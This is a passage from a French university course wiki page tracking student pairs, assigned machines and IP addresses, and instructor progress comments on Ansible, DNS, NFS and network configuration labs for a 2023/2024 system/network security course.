| contactable par ansible, gare au ventilateur du processeur || inventaire ansible correct, playbook plausible, clef ed25519 mal recopiée&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| toujours pas contactable par ansible || rôle NFS toujours vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| contactable par ansible || rôle mascarade plausible, quelques corrections en particulier sur le réseau IPv4 cible mais pas mal du tout&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| toujours pas contactable par ansible || rôle commutateur virtuel toujours vide&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| contactable par ansible, interfaces mal renommées, câble sur le mauvais port || rôle DNS, bon départ, livraison tardive mais rôle fonctionnel&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| toujours pas contactable par ansible || rôle &amp;quot;interface VLAN50&amp;quot; toujours inexploitable&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| contactable par ansible || rôle &amp;quot;copie archive&amp;quot; toujours inexploitable&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Répartition des binômes pour les travaux pratiques &amp;quot;académiques&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Nom machine services &lt;br /&gt;
! IPv4 privée machine services !! Nom de domaine !! Nom machine mandataire &lt;br /&gt;
! IPv4 privée et routée machine mandataire !! Elève &lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E1 | Cahier n°1]]&lt;br /&gt;
| aigle|| 192.168.7.2|| aigle.lol|| heterodontosaurus|| 193.48.57.185|| Bilal EL HASNAOUI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E2 | Cahier n°2]]&lt;br /&gt;
| chevreuil||14.14.14.10&lt;br /&gt;
| chevreuil.lol|| spinosaure|| 193.48.57.200|| Némo CAZIN&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E3 | Cahier n°3]]&lt;br /&gt;
| belette|| 14.14.14.11|| belette.lol|| spinosaure|| 193.48.57.200|| Antoine CEGARRA&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E4 | Cahier n°4]]&lt;br /&gt;
| truite|| 10.10.10.10|| truite.fun|| brachiosaure|| 193.48.57.181|| Simon CRUCHET&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E5 | Cahier n°5]]&lt;br /&gt;
| esturgeon|| 10.10.10.11|| esturgeon.fun|| brachiosaure|| 193.48.57.181|| Louis DERYCKERE&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E6 | Cahier n°6]]&lt;br /&gt;
| palourde|| 10.10.10.10|| palourde.fun|| raptor|| 193.48.57.182|| Romain DUHR&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E7 | Cahier n°7]]&lt;br /&gt;
| bigorneau|| 10.10.10.11|| bigorneau.fun|| raptor|| 193.48.57.182||Amaury BECQUET&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E8 | Cahier n°8]]&lt;br /&gt;
| munchkin|| || munchkin.site|| trex|| 193.48.57.183|| Youness EL QASTALANI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E9 | Cahier n°9]]&lt;br /&gt;
| ecureuil|| || ecureuil.pics|| velociraptor|| 193.48.57.177|| Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E10 | Cahier n°10]]&lt;br /&gt;
| siamois|| || siamois.site|| trex|| 193.48.57.183|| Younes BENMBAREK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E11 | Cahier n°11]]&lt;br /&gt;
| lynx|| || lynx.pics|| velociraptor|| 193.48.57.177|| Chaymae RHANIM&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E12 | Cahier n°12]]&lt;br /&gt;
| nyala|| 192.168.7.3|| nyala.website|| heterodontosaurus|| 193.48.57.185|| Ayoub CHAOUNI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E13 | Cahier n°13]]&lt;br /&gt;
| tigre|| 192.168.10.3|| tigre.lol|| smilodon|| 193.48.57.179|| Louis WIJSMAN&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E14 | Cahier n°14]]&lt;br /&gt;
| ornithorynque|| 10.10.10.10|| ornithorynque.lol|| pteranodon|| 193.48.57.176||Thomas NAVE&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E15 | Cahier n°15]]&lt;br /&gt;
| axolotl|| || axolotl.lol|| plesiosaurus|| 193.48.57.178|| Adrien PALIFERRO&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E16 | Cahier n°16]]&lt;br /&gt;
| caribou|| 10.10.10.11|| caribou.lol|| pteranodon|| 193.48.57.176|| Thibault DUYCK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E17 | Cahier n°17]]&lt;br /&gt;
| panthere|| 192.168.10.2|| panthere.lol|| smilodon|| 193.48.57.179||Thomas LEFRANC&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E18 | Cahier n°18]]&lt;br /&gt;
| singe|| || singe.lol || mosasaurus|| 193.48.57.188|| Stéphane KADER-ISSACK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E19 | Cahier n°19]]&lt;br /&gt;
| loutre|| || loutre.lol|| mosasaurus|| 193.48.57.188|| Marion NORMAND&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E20 | Cahier n°20]]&lt;br /&gt;
| fennec|| 11.11.11.21|| fennec.pics|| triceratops|| 193.48.57.190|| Taha NEHARI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E21 | Cahier n°21]]&lt;br /&gt;
| castor-canard|| 11.11.11.20|| castor-canard.lol|| triceratops|| 193.48.57.190|| Martin CHAUVELIERE&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Contrôles continus &amp;quot;TP académique&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
== Premier contrôle continu 08/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| || || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Deuxième contrôle continu 09/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| aigle.lol || &amp;lt;code&amp;gt;aigle&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || Simon CRUCHET &lt;br /&gt;
| truite.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| esturgeon.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| palourde.fun || || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || Amaury BECQUET&lt;br /&gt;
| bigorneau.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| munchkin.site || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (maj non effectuée) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| siamois.site || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| nyala.website || &amp;lt;code&amp;gt;nyala&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj en cours mais pas de réseau) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj non effectuée) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Deuxième contrôle continu 13/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| aigle.lol || &amp;lt;code&amp;gt;aigle&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || &amp;lt;code&amp;gt;chevreuil&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || &amp;lt;code&amp;gt;belette&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || Simon CRUCHET &lt;br /&gt;
| truite.fun || &amp;lt;code&amp;gt;truite&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| esturgeon.fun || &amp;lt;code&amp;gt;esturgeon&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| palourde.fun || &amp;lt;code&amp;gt;palourde&amp;lt;/code&amp;gt; démarrée || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || Amaury BECQUET&lt;br /&gt;
| bigorneau.fun || &amp;lt;code&amp;gt;bigorneau&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| munchkin.site || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (non maj, écrasée avec nouvelle installation) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || &amp;lt;code&amp;gt;ecureuil&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| siamois.site || &amp;lt;code&amp;gt;siamois&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || &amp;lt;code&amp;gt;lynx&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| nyala.website || &amp;lt;code&amp;gt;nyala&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 ||&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj terminée, très bien) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || &amp;lt;code&amp;gt;axolotl&amp;lt;/code&amp;gt; non lancée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || &amp;lt;code&amp;gt;caribou&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || &amp;lt;code&amp;gt;singe&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || &amp;lt;code&amp;gt;loutre&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj terminée, très bien) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5263</id>
		<title>SE4 IdO sécurité système/réseau 2023/2024</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5263"/>
		<updated>2024-02-14T13:50:59Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Répartition des binômes pour les travaux pratiques &amp;quot;académiques&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;migration&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Donnez les élèves dans chaque binôme. Pas de trinôme, éventuellement un monôme.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! N° du NAS !! Résumé de la tâche en trois mots&lt;br /&gt;
|-&lt;br /&gt;
| b1 || Louis DERYCKERE &amp;amp; Simon CRUCHET || NAS03 || Installation des disques&lt;br /&gt;
|-&lt;br /&gt;
| b2 ||  Louis WIJSMAN &amp;amp; Thomas LEFRANC|| NAS02 || Serveur de temps&lt;br /&gt;
|-&lt;br /&gt;
| b3 || Thomas Nave &amp;amp; Thibault Duyck || NAS09 || Premiers rôles Ansible&lt;br /&gt;
|-&lt;br /&gt;
| b4 || Romain DUHR &amp;amp; Amaury BECQUET || NAS04 || Câblage anciennes stations &lt;br /&gt;
|-&lt;br /&gt;
| b5 || Younes BENMBAREK &amp;amp; Youness EL QASTALANI || NAS05 || Configuration serveur Ansible&lt;br /&gt;
|-&lt;br /&gt;
| b6 || Chaymae RHANIM &amp;amp; Heriniaina ANDRIANIRINTSOA || NAS06 || Configuration serveur NFS&lt;br /&gt;
|-&lt;br /&gt;
| b7 || Bilal EL HASNAOUI &amp;amp; Ayoub CHAOUNI || NAS07 || Installation d'une mascarade&lt;br /&gt;
|-&lt;br /&gt;
| m8 || Adrien PALIFERRO || NAS08 || Configuration interface réseau (commutateur virtuel)&lt;br /&gt;
|-&lt;br /&gt;
| b9 || Nemo CAZIN &amp;amp; Antoine CEGARRA || NAS01 || Configuration du DNS&lt;br /&gt;
|-&lt;br /&gt;
| b10 || Stéphane Kader Issack &amp;amp; Marion Normand || NAS10 || Configuration interface réseau (&amp;lt;code&amp;gt;ether0&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11 ||  Martin Chauveliere &amp;amp; Taha Nehari || NAS11 || Recopie Archive TP&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Contrôles continus &amp;quot;TP migration&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 06/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (6 février) !! Commentaire sur la tâche supplémentaire (6 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI || OK mais la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, dois-je vous imputer cela ?&lt;br /&gt;
|-&lt;br /&gt;
| b2 &lt;br /&gt;
| mode UEFI, installation BIOS, ne fonctionne pas, câble non fonctionnel || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| mode BIOS, ne démarre pas, plaque latérale mal remise || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| mode BIOS, ne démarre pas || gestion OK des commutateurs, connexion très partielle (au moins 5 stations non connectées)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| mode UEFI, démarre sur l'ancien Devuan || paquetage &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; installé sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;, aucune trace de l'inventaire, pas de répertoire &amp;lt;code&amp;gt;/etc/ansible&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| mode UEFI, démarre sur l'ancien Devuan || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| mode UEFI, plante sur GRUB || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI || laquelle ? aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| mode UEFI, installation BIOS, ne fonctionne pas || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| Même pas étiquetté, ancien Devuan (installé ReX), configuration réseau sur la mauvaise interface, réparé avec les instructions envoyées par courriel || laquelle ? aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI (fait ReX) || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 08/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (8 février) !! Commentaire sur la tâche supplémentaire (8 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| installée par ReX, clef ed25519 absente || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD commandé&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| installée par TV, ssh installé par ReX, clef ed25519 absente || le rôle est déjà pris, rabattez-vous sur le rôle ntp&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| installée par TV, ssh installé par TV, clef ed25519 absente || rôles &amp;lt;code&amp;gt;filesys_role&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;package_role&amp;lt;/code&amp;gt; OK à la lecture (bien factorisés), à tester.&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, clef ed25519 absente || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, NVRAM EFI &amp;quot;pleine&amp;quot;, clef ed25519 absente || inventaire ansible correct, mauvaise syntaxe pour le playbook, test non effectué (ou collègues non prévenus des absences de clef ed25519)&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| installé par ReX, réinitialisation usine, clef USB initiale défaillante, clef ed25519 absente || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| installée par ReX, clef USB, initiale défaillante, clef ed25519 absente || vous n'avez pas défini un rôle mais un playbook, revoyez le cours, de l'idée, en particulier l'ajout du paquetage &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; est à conserver mais après avoir installé les règles, pour les règles utilisez l'action prévue pour [https://docs.ansible.com/ansible/latest/collections/ansible/builtin/iptables_module.html]&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| installée par TV, clef ed25519 absente || mauvais nom de rôle &amp;lt;code&amp;gt;ifacenetwork_role&amp;lt;/code&amp;gt;, il manque le modèle (template), rôle vide en fait&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, clef ed25519 absente || bonne organisation du rôle, dans le modèle utilisez la bonne syntaxe pour la variable &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, utilisez le sous-répertoire &amp;lt;code&amp;gt;vars&amp;lt;/code&amp;gt; pour votre variable, vous devez récupérer le numéro du nom du nas pas de la zabeth, il manque le dictionnaire pour passer de ce numéro au &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; correspondant, utilisez l'action template pour gérer le template &lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| installée par ReX, modification IPv4 par ReX, clef ed25519 absente || mauvais nom de rôle &amp;lt;code&amp;gt;config_reseau_role&amp;lt;/code&amp;gt;, mauvais modèle (définition d'un vlan ?!, il faut utiliser les directives &amp;lt;code&amp;gt;up&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;down&amp;lt;/code&amp;gt;), mauvaise organisation du rôle (allez voir sur &amp;lt;code&amp;gt;zabeth21&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| installée par ReX, clef ed25519 absente || n'utilisez pas l'action &amp;lt;code&amp;gt;copy&amp;lt;/code&amp;gt;, aucune chance que cela fonctionne, utilisez l'action &amp;lt;code&amp;gt;rsync&amp;lt;/code&amp;gt; comme demandé dans le sujet [https://docs.ansible.com/ansible/latest/collections/ansible/posix/synchronize_module.html], mettez l'archive dans &amp;lt;code&amp;gt;/home/pifou&amp;lt;/code&amp;gt; plutôt&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 11/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (8 février) !! Commentaire sur la tâche supplémentaire (8 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD commandé&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; à corriger avec le nouveau nom de l'interface || le rôle est déjà pris, rabattez-vous sur le rôle ntp&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), clef ed25519 modifiée par ReX (12/2) || rôles &amp;lt;code&amp;gt;role_files&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;role_packages&amp;lt;/code&amp;gt; validés, à tester.&lt;br /&gt;
interfaces réseau renommées, clef ed25519 modifiée par ReX &lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
